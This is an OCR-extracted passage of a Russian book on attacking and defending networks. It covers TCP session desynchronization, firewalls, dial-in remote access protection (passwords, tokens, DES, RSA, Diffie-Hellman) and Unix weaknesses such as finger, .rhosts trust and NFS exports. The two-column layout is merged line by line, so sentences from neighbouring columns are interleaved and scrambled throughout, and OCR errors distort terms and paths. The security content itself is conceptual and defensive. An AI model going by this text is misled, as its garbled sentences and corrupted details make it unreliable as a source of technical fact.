пропускает трафик через свою машину — это дает
ему возможность по своему усмотрению добавлять

169 170
Ломаем и защищаем сети Ломаем и защищаем сети

и удалять пакеты. Эффект таких действий описан примера рассмотрим десинхронизацию на стадии
выше. установления соединения. Метод заключается в
Как же атакующий добивается прерывании соединения со стороны сервера на
десинхронизации? Самый простой ранней стадии и установлении нового соединения
метод — десинхронизация при помощи пакетов с Взломщик высматривает пакет SYN/ACK,
отсутствием данных. Клиент и сервер идущий от сервера к клиенту (второй этап
забрасываются большим количеством пакетов. установления соединения).
Посылаемая информация не будет ими Обнаружив этот пакет, он посылает серверу
воспринята, но приведет к рассогласованию пакет с флагом RST, затем пакет, аналогичный
порядковых номеров на обоих концах. Если перехваченному по параметрам (порт TCP), но с
атакуемый сеанс TCP/IP допускает пересылку другим номером последовательности, в
пакетов с информацией нулевой длины, то этот дальнейшем обозначаемым как ATK_ACK_0.
метод самый удобный, хотя его применение может
повлечь за собой ряд непредсказуемых эффектов. Получив RSTпакет, сервер прерывает
В частности, особенно сильно проявится одно из первое соединение. Получив следом от
последствий любой десинхронизации — ураган из атакующего SYNпакет, он, используя тот же
ACKпакетов. Суть этого стихийного явления в самый порт, откроет новое соединение c
том, что отброшенные ACKпакеты влекут измененным номером последовательности
за собой генерирование все новых и (SVR_SEQ_0') и пошлет клиенту пакет SYN/ACK.
новых — процесс замыкается в петлю или, если Определив это, атакующий посылает ему
угодно, в воронку урагана. свой ACKпакет и тем самым переводит сервер в
К счастью (или же к несчастью — как состояние установленного соединения.
хотите), поддержка TCP соотношения потерь Клиент, получив пакет от сервера, также
ненулевых пакетов приводит рано или поздно к переходит в состояние установленного
разрыву петли. Таким образом, процесс соединения.
саморегулируется и поддерживает избыточный Очевидно, что основные равенства не
трафик на определенном уровне, не давая ему выполняются, и соединение оказывается
захлестнуть сеть. Наличие ACKурагана, кстати, изначально десинхронизированным.
позволяет обнаружить чужое вмешательство в
Главная сложность такого метода — это
работу сети.
правильный выбор атакующим поддельного
Есть ряд более сложных и надежных (что номера последовательности. Если разногласие в
делает их узкоприменимыми) методов. В качестве

171 172
Ломаем и защищаем сети Ломаем и защищаем сети

номерах последовательности позволит серверу Применение брандмауэров такого


осуществлять прием пакетов от клиента (первый типа — сети, в которых Internet используется
вариант десинхронизации), то вполне вероятны только изнутри, отсутствует связь с внешними
нежелательные побочные эффекты. сетями, и, безусловно, все пользователи в
достаточной мере облечены доверием. Брандмауэр
будет наглухо закрывать доступ извне: его можно
Глава 25: Насколько надежны также применять для предотвращения
сегодняшние методы защиты сетей? злоупотребления Internet сотрудниками компании.
В свете вышеизложенного возникает вопрос: Брандмауэры, работающие на уровне
какие меры защиты сетей наиболее эффективны? приложений, предполагают наличие шлюза для
В первую очередь, на ум приходит применение каждого приложения, а также аутентификацию (с
брандмауэров. Главное, это выбрать брандмауэр, использованием) при любом соединении. Такой
соответствующий тому, в какой степени ваша сеть подход позволяет отказаться от проверки
зависит от Internet. На сегодняшний день широкое IPадресов, но взамен требует наличие шлюза для
распространение получили два типа брандмауэров: каждого приложения, что представляется довольно
серьезным ограничением. Насколько эффективна
● использующих фильтрацию пакетов;
эта технология? Она, очевидно, устойчива перед
● работающих на уровне приложений. пассивным сниффингом и подделкой адреса, но в
Начали также появляться продукты, в любом случае надежность подобной защиты от
которых в различной степени применяются обе активного сниффинга не может быть
технологии. стопроцентной.
Итак, мы имеем две технологии защиты Брандмауэры, по сути дела, предохраняют
сетей. Первая представляет собой исследование сеть только от случайной утечки информации и
входящих и выходящих пакетов на предмет того, проникновения в нее, так сказать, первого
откуда — куда они направляются и какой тип встречного, что, впрочем, раз в десять снижает
соединения устанавливают. Недостатки этого риск потери конфиденциальности хранимой и
подхода: очевидно, что он практически бессилен передаваемой информации и нарушения
перед подделкой IPадреса, пассивным и, тем работоспособности информационной системы.
более, активным сниффингом, привязка же к Единственное же, что может гарантировать
конкретным хостам (IPадресам) ограничивает безопасность от подслушивания — шифрование
возможности удаленных пользователей. всех внутренних (не говоря уже о внешних)
потоков данных в сети и организация

173 174
Ломаем и защищаем сети WWW$сервер — защита и взлом

дополнительных уровней аутентификации. Все это Часть шестая


не исключает возможности перехвата пакетов
сниффером, но, в то же время, не дает взломщику WWW$сервер — защита и
воспользоваться перехваченной информацией.
Определение необходимой степени защиты
взлом
информации осуществляется при помощи
несложных математических оценок: вероятность
взлома умножается на размер возможного ущерба
и на основе полученной величины определяются Глава 1: Как защитить WEB$сервер
средства, которые требуется выделить на
обеспечение соответствующих мер безопасности. В последние дни все актуальней становится
вопрос защиты информации, хранимой на
WWWсерверах. Впрочем, в равной степени это
относится и к серверам FTP. Любой,
используемый в коммерческих целях, узел Web
или FTP находится в довольно двусмысленном
положении (даже если не учитывать того, что на
нем могут быть организованы различные уровни
доступа к хранимым на сервере данным).
Любая общедоступная информация, будь то
розничный прайслист или технические
характеристики продукции, имеет несомненную
коммерческую ценность, и возможные
последствия их искажения выражаются в
ощутимых убытках.
Завышенные цены могут отпугнуть
потенциальных клиентов, а применение страниц
компаний в качестве забора, на котором пишутся
известные слова, несомненно нанесет ущерб
имиджу компании. Причем первое намного
опасней, поскольку будет замечено далеко не
сразу.

175 176
WWW$сервер — защита и взлом WWW$сервер — защита и взлом

Взлом FTPсерверов еще менее заметен и защиты вычислительной системы от


более опасен. Если хотя бы часть свободно несанкционированного доступа по телефонным
распространяемого ПО (драйверы, shareware и линиям.
демоверсии продуктов) окажется дефектной, или, Подключиться к удаленной вычислительной
что еще хуже, зараженной вирусами, последствия сети по телефонной линии ничуть не сложнее, чем
катастрофы примут фатальный характер. снять трубку с телефонного аппарата. Об этом
Вопервых, пострадают тысячи ни в чем не стоит задуматься — так ли уж хорошо, когда
повинных пользователей, а вовторых, компании доступ к корпоративной вычислительной сети (и
придется вернуться к традиционным методам ко всему, что в ней содержится) осуществляется
распространения подобного ПО, что приведет к настолько легко? Судя по тому, какое количество
резкому увеличению расходов. информации хранится сейчас в коммерческих
Защита узлов Web оказывается далеко не компаниях в цифровом виде, — никто, конечно,
простой задачей, ведь они должны быть не может назвать точной цифры, однако ясно,
одновременно и защищены, и открыты для всех. что речь тут идет о колоссальных объемах
Если закрывать их брандмауэром, разрешающим данных, — вычислительные сети, а также
только HTTP и FTPсоединения, то такой входящие в их состав серверы файлов и
брандмауэр необходимо сделать выделенным, приложений стали основной инфраструктурой,
чтобы не осталось лазейки для проникновения в обеспечивающей нормальную работу организаций.
сеть — вопервых, обмен пакетами между ним и Те, чьим делом стало совать нос в дела
сервером должен шифроваться — вовторых. других, легко могут воспользоваться телефонными
Впрочем, стопроцентной защиты такая система линиями для входа в сеть, получив таким образом
может и не дать, а администратор сети будет доступ к вышеупомянутой инфраструктуре.
вынужден как можно чаще проверять состояние
Webсервера, чем, кстати, неплохо заняться уже Не ошибемся, если скажем, что система
сейчас. удаленного доступа не может считаться хорошей,
если при ее разработке не была предусмотрена
защита данных. Комуто, возможно, данное
Глава 2: Задраить люки! утверждение не покажется особенно глубоким,
однако не следует забывать, что в области защиты
Получить удаленный доступ к данных пренебрежение даже самыми простыми
вычислительной сети очень просто — достаточно вещами может впоследствии обернуться
подключить к телефонной линии несколько серьезнейшими проблемами.
модемов. Ниже описаны способы

177 178
WWW$сервер — защита и взлом WWW$сервер — защита и взлом

Глава 3: Отыскание лазеек управлению и использованию


специализированных приложений.
Доступ по телефонной линии к
Любое приложение удаленного доступа
корпоративной сети (dialin access) необходим
несет в себе потенциальную угрозу для
четырем основным категориям пользователей:
корпоративной сети. Программное обеспечение
мобильным пользователям, надомным работникам,
удаленного узла позволяет злоумышленнику
сотрудникам удаленных филиалов, а также
копировать на свой компьютер конфиденциальную
пользователям, у которых время от времени
информацию, распространять по сети данные и
возникает необходимость обратиться к
вирусы, а также портить файлы и сетевые ресурсы.
корпоративной сети из собственного дома.
С помощью программного обеспечения
Удаленные пользователи набирают дистанционного управления злоумышленник
телефонный номер при помощи модема. Если может просматривать информацию и уничтожать
пользователь подключен к локальной сети (что или модифицировать файлы.
вполне возможно, когда речь идет об удаленном
Специализированные приложения для
офисе), то для соединения можно использовать
доступа к сети обычно используют собственные
коммуникационный сервер. В противном случае
шлюзы, что позволяет создать альтернативное
абонент использует общедоступную телефонную
окно доступа, помимо сервера удаленного доступа
сеть для соединения либо с модемом на рабочей
или коммуникационного сервера.
станции в офисе компании, либо с устройством
удаленного доступа в локальной сети.
Все пользователи используют городскую Глава 4: Самое уязвимое место
телефонную сеть для связи с сервером удаленного Любой, кто задастся целью
доступа в локальной сети. Некоторые дестабилизировать работу информационной
пользователи могут также напрямую связываться с системы, должен прежде всего получить доступ к
модемами, подключенными к рабочим станциям ней. Задача эта не особенно сложна, если линии
локальной сети. телефонной связи для входа в систему не
Возможности удаленных пользователей снабжены специальной защитой. Ниже мы
существенно ограничены низкой скоростью сформулируем четыре основных проблемы защиты
информационного обмена через модемы (как информации в системах удаленного доступа.
правило, 14,4 Кбит/с или 28,8 Кбит/с), поэтому Первая проблема — идентификация
чаще всего их работа сводится к простейшим пользователя. Как установить, что лицо,
функциям удаленного узла, дистанционному

179 180
WWW$сервер — защита и взлом WWW$сервер — защита и взлом

пытающееся осуществить удаленный доступ к необходимо установить наверняка его личность.


системе, является законным пользователем? Поэтому хорошая система управления доступом
Любой, у кого есть модем, может набрать номер должна представлять собой устройство,
точки входа в систему и запросить доступ к подключаемое к телефонной линии перед
данным. Поскольку увидеть удаленного коммуникационным устройством.
пользователя нельзя, следует позаботиться о том, Четвертая задача — обнаружение
чтобы в системе имелись средства верификации несанкционированного доступа. Если
того, что абонент на линии действительно злоумышленнику все же удастся проникнуть в
является тем, за кого себя выдает. сеть, то администратор сети должен уметь
При простых способах идентификации определить, как был осуществлен доступ, в каком
пользователю вначале предлагается назвать себя, а примерно месте это произошло и какой урон
затем ввести пароль. понесет компания от несанкционированного
Считается, что этого вполне достаточно для входа.
идентификации пользователя. Но этот способ не Современные системы удаленного доступа
обеспечивает должной защиты. Более совершенное имеют некоторые встроенные средства защиты
средство — раздать удаленным пользователям данных. Например, в сетевых операционных
персональные устройства идентификации или, системах применяется идентификация
иначе, аппаратные ключи (token). пользователя с использованием имени и пароля.
Следующая проблема — это Кроме того, некоторые устройства удаленного
конфиденциальность обмена сообщениями. По доступа поддерживают работу со списками
телефонной линии, используемой для входа в пользователей, где перечисляются не только имена
систему, данные передаются открытым текстом, а и пароли, но и права пользователей на доступ к
значит, злоумышленник, подключившийся к этой центральным ресурсам. В настоящее время на
линии, может узнать и имя пользователя, и рынке появился ряд устройств удаленного доступа,
пароль. Чтобы избежать подобного пассажа, рекламируемых в первую очередь как надежные
администратору сети необходимо позаботиться о средства обеспечения защиты данных. Это
кодировании передаваемых данных. несомненное свидетельство того, что и
производители, и потребители осознали важность
Третья проблема — управление доступом к данной функции.
сети. Посты следует выставить на всех дорогах,
ведущих в информационную систему. Прежде чем Тем не менее следует отметить, что система
пользователь получит доступ к системе, защиты данных оказывается надежной лишь тогда,
когда она обеспечивает решение всех четырех

181 182
WWW$сервер — защита и взлом WWW$сервер — защита и взлом

вышеперечисленных проблем. Кроме того, Глава 5: Кто там?


использование системы защиты не должно
создавать пользователю особых проблем. Если При внимательном изучении рынка средств
пользователи сочтут, что система защиты данных защиты доступа к информации по телефонным
причиняет им неудобства, они, вполне вероятно, линиям можно выявить целый ряд продуктов,
найдут способы обойти эту систему. В частности, решающих некоторые или даже все из
пользователь может не выходить из системы, вышеописанных задач. В основе этих продуктов
отлучаясь со своего рабочего места, — тем самым лежат различные механизмы обеспечения защиты
при возобновлении работы ему удастся избежать данных при удаленном доступе через телефонную
повторения ритуала входа в систему. сеть. Несмотря на такое разнообразие,
используемые в этих механизмах базовые методы
Те же самые соображения касаются и
весьма немногочисленны.
администратора сети. Если система трудна в
установке и эксплуатации, то ее нельзя считать Наиболее простым, пожалуй, является метод
удачной, как нельзя считать удачной и систему, идентификации пользователя при помощи пароля.
требующую постоянного внимания в течение Использование пароля обеспечивает так
рабочего дня. называемую однофакторную идентификацию; это
означает, что идентификация пользователя
Приведем пример системы удаленного
осуществляется только по одному признаку.
доступа по телефонным линиям с защитой:
пользователи получили аппаратные ключи для Безусловно, любая система защиты данных
входа в систему, сеть оборудована устройством должна обеспечивать использование пароля. Тем
управления доступом, включенным перед не менее не следует думать, будто пароль — это
устройством удаленного доступа. Кроме того, полная защита от несанкционированного доступа.
система оснащена сервером защиты, в задачу Проблема тут в том, что пользователи часто
которого входит управление и мониторинг используют легко угадываемые пароли. Как
системы защиты. показывает практика, люди предпочитают пароли,
в основе которых лежат реально существующие
Существуют различные системы защиты
слова. К примеру, очень популярны
данных при удаленном доступе. Они основаны на
разнообразные комбинации из фамилии, имени и
применении разных методов или их комбинаций.
отчества. Другой пример — содержательные
В качестве примера можно привести аппаратные
комбинации цифр, например дата рождения,
ключи, устройства идентификации, кодирование
номер паспорта и тому подобное.
информации и серверы защиты данных.

183 184
WWW$сервер — защита и взлом WWW$сервер — защита и взлом

Тот, кто склонен поступать именно таким Другой метод однофакторной


образом, делает свой пароль легкой добычей. идентификации состоит в том, чтобы система
Первое, что предпринимает злоумышленник, перезванивала пользователю, пытающемуся войти
пытаясь определить пароль, — перебирает в систему (callback). Получив звонок от
разнообразные вариации на тему фамилии пользователя, система немедленно отключается и
пользователя и всевозможные осмысленные сама перезванивает пользователю по тому номеру,
комбинации цифр, вроде номера паспорта или с которого ему разрешено входить в систему.
водительского удостоверения. Кроме того, есть Недостаток здесь в том, что злоумышленник
программы, производящие поиск пароля прямым может, воспользовавшись технологией
перебором всех слов из обычного словаря. Ясно, переключения телефонного вызова (call
что такая программа легко подберет любой пароль, forwarding), перехватить звонок, адресованный на
в основе которого лежит реально существующее зарегистрированный номер пользователя. Кроме
слово. того, ответный вызов совершенно не пригоден для
Надежность системы защиты определяется мобильных пользователей, ведь им приходится
надежностью наиболее ненадежного ее звена. входить в систему с самых разных телефонных
Поэтому администратор сети должен принять номеров.
некие меры общего характера. В частности, для
укрепления системы защиты на основе пароля Глава 6: Попрошу документы!
следует задать определенные критерии
допустимости пароля. Например, надо запретить Двухфакторная система идентификации
использование простых схем выбора паролей и позволяет повысить надежность защиты системы.
обязать пользователей выбирать в качестве Этот метод предполагает применение пароля или
паролей комбинации букв, цифр и символов; персонального идентификационного номера
подойдут также всевозможные бессмысленные (personal identification number — PIN) и
слова. персонального устройства идентификации
Не мешает установить временные пределы пользователя, именуемого также аппаратным
использования паролей, обязав пользователей ключом. Примером двухфакторной
менять их через определенные промежутки идентификации может служить система доступа к
времени. Еще один способ повышения банкоматам. Для получения доступа к счету
надежности — ограничить допустимое число клиент должен иметь банковскую карточку
попыток войти в систему в течение определенного (аппаратный ключ) и правильно ввести свой
промежутка времени. идентификационный номер.

185 186
WWW$сервер — защита и взлом WWW$сервер — защита и взлом

Существует два вида аппаратных ключей пользователь ввел свой идентификационный


для удаленного доступа по телефонной сети: номер. По пути введенный пользователем
ручные устройства и модули, включаемые между идентификационный номер проходит через
модемом удаленной станции и телефонной аппаратный ключ и запоминается.
розеткой. В будущем, вполне возможно, появятся Система запросответ хороша тем, что при
комбинированные устройства, сочетающие в себе ее использовании не надо передавать пароль и
функции модема и аппаратного ключа. На ручных ключ (в кодированном или декодированном виде)
аппаратных ключах обычно имеется цифровая по открытым телефонным линиям, а также тем,
клавиатура и экран для считывания информации. что идентификация пользователя при каждом
Аппаратные ключи по виду напоминают входе в систему осуществляется поновому.
утолщенную кредитную карточку. Такое
устройство представляет собой интеллектуальную Получив идентификационный номер,
карточку. устройство идентификации обращается к базе
данных, чтобы выяснить, принадлежит ли
Любой аппаратный ключ предполагает введенный код к числу зарегистрированных.
наличие в сети главного (master) устройства Помимо базы данных идентификационных
идентификации, работающего в паре с этим номеров в устройстве идентификации имеется
аппаратным ключом. Главное устройство, также база данных уникальных кодов, — как
включаемое обычно перед модемом или правило, это алгоритмы шифрования,
устройством удаленного доступа, выполняет присвоенные каждому аппаратному ключу. Чуть
функции контроля за удаленным доступом. позже мы поподробнее расскажем о таких кодах.
Некоторые из имеющихся на рынке систем
защиты представляют собой комбинацию Если идентификационный номер
устройств удаленного доступа и двухфакторной принадлежит к числу зарегистрированных,
идентификации. устройство идентификации генерирует случайное
число, используя в качестве начальных параметров
В основе идентификации пользователя при генератора случайных чисел идентификационный
помощи аппаратных ключей лежит процедура типа номер пользователя и уникальный код
запрос — ответ (challenge — response). Обмен аппаратного ключа. Это случайное число
сообщениями в этой процедуре начинается в тот посылается в качестве запроса. По получении
момент, когда пользователь, имеющий аппаратный запроса аппаратный код генерирует случайное
ключ, набирает номер для входа в систему. число, используя в качестве начальных параметров
Главное устройство идентификации пользователя свой ключ и идентификационный номер
перехватывает звонок и требует, чтобы пользователя. Получившееся таким образом число

187 188
WWW$сервер — защита и взлом WWW$сервер — защита и взлом

отправляется на главное устройство признан корректным при инициализации


идентификации в качестве ответа. конкретного сеанса.
Тем временем устройство идентификации Другое преимущество систем такого типа
самостоятельно генерирует числоответ, используя состоит в том, что при формировании запроса и
числозапрос, идентификационный номер ответа используется алгоритм кодирования,
пользователя и код аппаратного ключа. Если поэтому оба числа передаются по телефонной сети
получившийся ответ совпадает с присланным по в закодированной форме.
линиям связи, то удаленная система получает В заключение выскажем несколько
доступ к сети. соображений, которые стоит учитывать при
Для идентификации пользователей с выборе метода идентификации.
ручными аппаратными ключами используется Вопервых, реализация таких систем может
похожая, но несколько менее автоматизированная оказаться непростым делом. При работе с
процедура. Получив запрос от устройства некоторыми видами аппаратных ключей в них
идентификации, пользователь должен вручную приходится вводить определенную информацию о
набрать на клавиатуре аппаратного ключа запрос и пользователе. Кроме того, следует позаботиться о
свой идентификационный номер. Аппаратный том, чтобы при раздаче пользователям аппаратные
ключ генерирует ответ и выводит его на экран, а ключи не перепутались — некоторые из них
пользователь должен набрать этот ответ на необходимо сначала подключать к главному
клавиатуре рабочей станции, которая в свою устройству идентификации для согласования кодов
очередь посылает ответ устройству идентификации ключей. И только после этого раздать
пользователя. пользователям.
Описанная процедура хороша не только Другое важное соображение — это
тем, что пользователь должен знать правильный масштабируемость системы. Если система защиты
идентификационный номер и иметь аппаратный удаленного доступа охватывает сравнительно
ключ, но еще и тем, что ответ, однажды небольшое число пользователей, подготовка
признанный корректным, не может быть необходимого количества аппаратных ключей и
использован повторно. Каждый раз как согласование кодов с главным устройством
пользователь входит в систему, генератор идентификации будет не так уж и сложна. Однако
случайных чисел выдает новое числозапрос. если в будущем ожидается расширение системы,
Соответственно меняется и ответ, поэтому выбор в значительной степени определяется тем,
бессмысленно пытаться выяснить, какой ответ был сколько пользователей в конечном счете должны

189 190
WWW$сервер — защита и взлом WWW$сервер — защита и взлом

получить аппаратные ключи. (Отметим, кстати, подразумевается уникальный ключ для


что срок службы элементов питания в некоторых кодирования и декодирования данных. Если
ручных аппаратных ключах ограничен пользователь кодирует свой пароль при помощи
несколькими годами, а стало быть, без повторной личного ключа, то для декодирования этого
переконфигурации всей системы скорее всего не пароля устройство идентификации должно иметь
обойтись). точно такой же ключ. Поскольку данные может
Как всегда, вопрос стоимости играет декодировать любой, у кого есть ключ, его
немаловажную роль. Система на базе аппаратных необходимо сохранять в тайне.
ключей может оказаться весьма дорогой, Промышленный стандарт схемы
поскольку каждому удаленному пользователю кодирования на основе личного ключа — это Data
придется выдать свое собственное устройство. Encryption Scheme (DES). В этой схеме
применяется 64битный ключ (56 бит служат для
собственно кодирования и декодирования, а
Глава 7: Кодирование сигнала остальные 8 бит зарезервированы под контроль
Как мы уже убедились, кодирование четности). Каждый бит ключа генерируется
сигнала важно и при идентификации случайным образом. При этом число возможных
пользователя, и в обеспечении комбинаций составляет 72 квадрильона. При
конфиденциальности связи. Кодирование кодировании данных с помощью такого ключа
обеспечивает безопасность передачи паролей, возникает уникальная последовательность битов.
идентификационных номеров, а также коротких Кодирование с использованием открытого
сообщений и файлов по незащищенным ключа невозможно без двух ключей, работающих
телефонным линиям. Если даже кодированное только в паре. Пара состоит из личного и
сообщение будет перехвачено, его все равно открытого ключа. Если данные были кодированы
невозможно прочесть, не зная схемы кодирования. при помощи открытого ключа, то декодировать их
Подобрать схему кодирования можно, однако для можно только при помощи соответствующего
этого потребуется очень мощная вычислительная личного ключа. На практике часто используется
техника. Соответственно и цена такой операции схема кодирования под названием RSA,
будет весьма высока, не говоря уже о предложенная компанией RSA Data Security.
колоссальных затратах машинного времени. В системе на базе открытых ключей у
Как правило, используется кодирование каждого пользователя есть свой личный ключ.
одного из двух типов — либо с личным, либо с Открытый ключ пользователя, парный с личным
открытым ключом. Под личным ключом ключом, сообщается всем пользователям. При

191 192
WWW$сервер — защита и взлом WWW$сервер — защита и взлом

необходимости послать комулибо сообщение, конфиденциальности коммерческих операций в


отправитель шифрует его при помощи открытого Internet.
ключа получателя. Поскольку личный ключ Почему? Дело в том, что основная цель
имеется только у получателя, расшифровать систем на базе открытых ключей заключена в
сообщение может только он. обеспечении конфиденциальности переговоров
В системе на основе открытого ключа между двумя собеседниками в большой группе
каждому пользователю выдается личный ключ, пользователей. Для этого надо просто
который он должен сохранять в тайне. воспользоваться открытым ключом адресата для
Соответствующие открытые ключи копируются, и кодирования предназначенных ему сообщений.
этот список раздается всем сотрудникам или Никто другой не сможет прочесть закодированные
записывается либо в устройство идентификации таким способом сообщения.
пользователя, либо на сервер ключей. Если По отношению к Internet это означает
пользователь хочет отправить комулибо следующее. Частные лица и компании получают
конфиденциальное сообщение, он должен личные ключи. Доступ же к соответствующим
закодировать его при помощи принадлежащего открытым ключам открывается для всех
адресату открытого ключа. желающих. Решив, например, приобрести товары,
Поскольку декодировать это сообщение рекламируемые какойлибо компанией в Web,
можно только при помощи личного ключа покупатель может закодировать номер своей
адресата, никто другой не может ознакомиться с кредитной карточки с помощью открытого ключа
содержанием сообщения. При отправке ответа на компании и отправить это сообщение по
сообщение следует воспользоваться открытым указанному адресу. Для декодирования данных
ключом того пользователя, кому этот ответ необходимо лишь знание личного ключа
адресован. компании.
В настоящее время на рынке продуктов Проблема тут только в том, что покупатель
системы на базе личных ключей наиболее должен знать открытый ключ компании.
распространены. Например, многие системы
запросответ основаны на использовании личных
ключей. Тем не менее системы на основе
Глава 8: Секретные переговоры
открытых ключей завоевывают все большую Если ключ собеседника неизвестен, то для
популярность, поскольку такая система предлагает ведения кодированных переговоров по открытой
возможное решение по обеспечению телефонной линии можно использовать систему

193 194
WWW$сервер — защита и взлом WWW$сервер — защита и взлом

обмена ключами ДиффиХеллмана, названную по Глава 9: Черный ход надо запирать


именам ее создателей Уитфилда Диффи и
Мартина Хеллмана. В качестве финального аккорда заметим,
что все системы удаленного доступа по
Система ДиффиХеллмана позволяет двум
телефонным линиям предполагают использование
пользователям (или двум устройствам)
определенного программного обеспечения.
договориться об использовании определенного
Например, имена пользователей, пароли и ключи
ключа. При этом такие переговоры можно вести
должны храниться в базе данных, которая может
по открытой телефонной линии. Одно устройство
располагаться либо на сервере, либо на устройстве
посылает другому несколько больших чисел и
удаленного доступа, либо на устройстве
фрагмент алгоритма, то выполняет ряд сложных
идентификации пользователей.
вычислений и возвращает ответ. В свою очередь,
первое устройство также выполняет ряд Некоторые производители выпускают
вычислений, возвращает ответ и так далее. комбинированные устройства для идентификации,
контроля доступа и поддержки удаленного доступа
Получившийся ключ можно использовать
с установленным на них программным
как для кодирования, так и для декодирования
обеспечением управления системой защиты
пересылаемых данных. Схема ДиффиХеллмана
данных. Эти изделия часто называют серверами
удобна тем, что сам ключ по линиям связи не
защиты.
передается, а подслушивать переговоры
бесполезно, поскольку подслушанная информация Помимо поддержки базы данных такая
не может помочь в подборе ключа. система должна, как минимум, обеспечивать
мониторинг и генерацию отчетов.
Заметим, что схема ДиффиХеллмана не
предполагает идентификации пользователя. На Мониторинг в реальном времени позволяет
противоположном конце линии может находиться администраторам сети выявлять все необычные
кто угодно. При этом пользователь не должен запросы на доступ к сети и странности при работе
вводить никаких уникальных идентификационных с сетью. Некоторые программные продукты
данных. Применение пароля и алгоритма обеспечивают подачу аварийных сигналов, что
идентификации пользователя повышает степень позволяет более оперативно реагировать на
защищенности в схеме ДиффиХеллмана. возможную угрозу со стороны.
Отчеты помогают сетевому администратору
анализировать поведение пользователей с целью
выявления странных или подозрительных

195 196
WWW$сервер — защита и взлом Защищаем и атакуем Unix

моментов. Эти программные средства важны тем, Часть седьмая


что благодаря им несложно обнаружить попытки
вторжения (удачные и неудачные) и принять Защищаем и атакуем Unix
ответные меры.
В данной части были рассмотрены
простейшие методы и технические средства
обеспечения защиты данных при удаленном Глава 1: Безопасность в системе
доступе по телефонным линиям. Мы надеемся,
что понимание принципов их работы поможет клиент/сервер
лучше оценить качество предлагаемых на рынке Администратор сети просто не в состоянии
продуктов. Напомним два важнейших фактора для надежно контролировать всю сеть в архитектуре
выбора конкретной системы, учитывающих клиент/сервер, что чревато несанкционированным
интересы пользователя и администратора сети: доступом. Непродуманные действия еще больше
первый фактор — простота использования, усиливают эту опасность. Многие организации в
второй — простота реализации и управления. мире сегодняшнего бизнеса перестраивают свою
Применение системы защиты удаленного деятельность в соответствии с моделью
доступа по телефонным линиям можно сравнить с клиент/сервер, в том числе управление важной
крепким замком для парадного входа. Не следует, научной, финансовой и юридической
однако, забывать, что злоумышленник может информацией. Unix здесь — одна из основных
проникнуть в помещение с черного хода и даже операционных систем. В прошлом
через окно. Если обходные пути доступа к системе вычислительные мощности и данные
(например связь с Internet или личные модемы на располагались на одной системе и ее закрытость
рабочих станциях) не обеспечивают защиты была гарантией безопасности данных. Однако в
данных, то и вышеописанные системы не смогут модели клиент/сервер и операционная система, и
гарантировать безопасности. приложения используют при работе сеть. В этих
системах безопасность сетевых приложений
напрямую связана с безопасностью сети и систем
в этой сети.

197 198
Защищаем и атакуем Unix Защищаем и атакуем Unix

Глава 2: Заприте дверь на ключ использование одного из механизмов ограничения


доступа. Помните, что по статистике спецслужб
Вход в систему и пароль — это первая 85% взломов производится сотрудниками.
линия обороны в системе Unix. В файле паролей
перечислены все пользователи с правом доступа в
систему. В большинстве систем зашифрованный Глава 3: Оставайтесь в команде
пароль хранится в файле паролей, доступном для Команда finger в чужих руках способна
чтения. Предполагается, что расшифровать пароль значительно облегчить взлом сети. У пользователя
невозможно, но, тем не менее, открытость есть возможность выполнить данную команду без
зашифрованного пароля делает систему уязвимой; входа в систему и получить информацию о всех
пользователь может задать пароль, зашифровать пользователях сети. Это небезопасно по многим
его и сравнить зашифрованный результат с причинам. Например, получив с помощью
содержимым новой строки файла паролей. команды finger имена пользователей, номера
Большинство последних версий комнат и номера телефонов, содержащиеся в
операционных систем Unix предполагают файле паролей, взломщик может использовать их
возможность использования скрытых файлов для регистрации под именем одного из
паролей. В них зашифрованный пароль пользователей, а также для взлома защиты
помещается из файла паролей в файл, который системы в целом.
доступен для чтения только для Сетевые системы Unix подвергаются
суперпользователей. Такая мера весьма наибольшему риску изза использования
эффективна. удаленных команд (rкоманды), таких как rsh, rcp
Одноразовый код доступа и механизм и rlogin. Эти команды дают пользователю
пароль/отзыв помогают сделать пароль еще более возможность с правом доступа к нескольким
неуязвимым, так как пароли в этом случае системам установить доверительные отношения
действительны только на один сеанс. Если между этими системами. Причем пользователь
взломщик какимлибо образом узнал пароль, то получает доступ в систему без дальнейшей
войти в систему он сможет только один раз. идентификации и аутентификации. Эти
Примерами подобных механизмов служат Defender доверительные отношения определяются для
компании Digital Pathways, SecurID компании пользователей в файлах .rhosts в домашних
Security Dynamics и S/Key компании Bellcore. каталогах и для систем в конфигурационном
В сетях с высокой степенью секретности, файле удаленных команд /etc/host.equiv файл.
например финансовых, весьма эффективно

199 200
Защищаем и атакуем Unix Защищаем и атакуем Unix

К сожалению, многие производители между используемыми системами.


предпочитают выпускать дружественные для сети Согласованность обеспечивает NIS посредством
разработки с целью увеличения легкости их централизованного копирования файлов
использования. Один из способов — это включить конфигурации и паролей на сервер NIS. Это
символ (+) в файл /etc/host.equiv, что позволит позволяет администратору изменять информацию
любому человеку, работающему в локальной или непосредственно на NFSсервере, причем
глобальной сети, получить доступ к системе в изменения становятся доступны клиентам NIS.
качестве любого пользователя, даже в качестве NFS внутренне уязвима, поскольку она
суперпользователя (администратора). базируется на выводах удаленных процедур.
Вообще, доверительные отношения между Удаленные вызовы процедур содержат
сетями не рекомендуются. Однако многие идентифицирующую пользователя информацию
организации используют их, чтобы упростить (UID), но не имеют механизма определения
администрирование сети. А при таком положении наличия ограничений на использование ресурсов и
дел важно, чтобы только небольшое подмножество того, что пользователь действительно является тем,
систем находилось в доверительных отношениях за кого себя выдает.
друг с другом. Например, разрешить подобный Таким образом, заинтересованное лицо
доступ только с сервера к клиенту, но не с может написать маскирующуюся под систему
клиента к серверу и разрешить чтение файла rhosts программу с тем, чтобы монтировать файловые
только его владельцу. системы или создавать, читать, модифицировать
Network File System (NFS) и Network или удалять файлы напрямую.
Information Service (NIS) позволяют упростить Для назначения систем, имеющих доступ к
доступ к файлам и администрирование сети. (NIS файловым системам на сети, можно использовать
носила раньше имя Yellow Pages, и многие команды exportfs и файл /etc/exports. Некоторые
команды отражают этот факт в своих названиях: производители выпускают системы с экспортом
ypwhich, ypcat и т.п.). NFS реализует механизм, каталога /AND/USR во внешний мир. А стало
благодаря которому доступ к файлам является быть, каждый пользователь этой сети может из
прозрачным для пользователя вне зависимости от любой точки монтировать такие файловые
их местоположения. Файлы могут располагаться системы. Вообще, никакие файловые системы не
как на локальном диске, так и на файловом должны экспортироваться во внешний мир и,
сервере локальной или глобальной сети. Для везде, где только возможно, они должны
правильной работы NFS пользовательская и экспортироваться только для чтение. Безусловно,
системная информация должны быть согласованы

201 202
Защищаем и атакуем Unix Защищаем и атакуем Unix

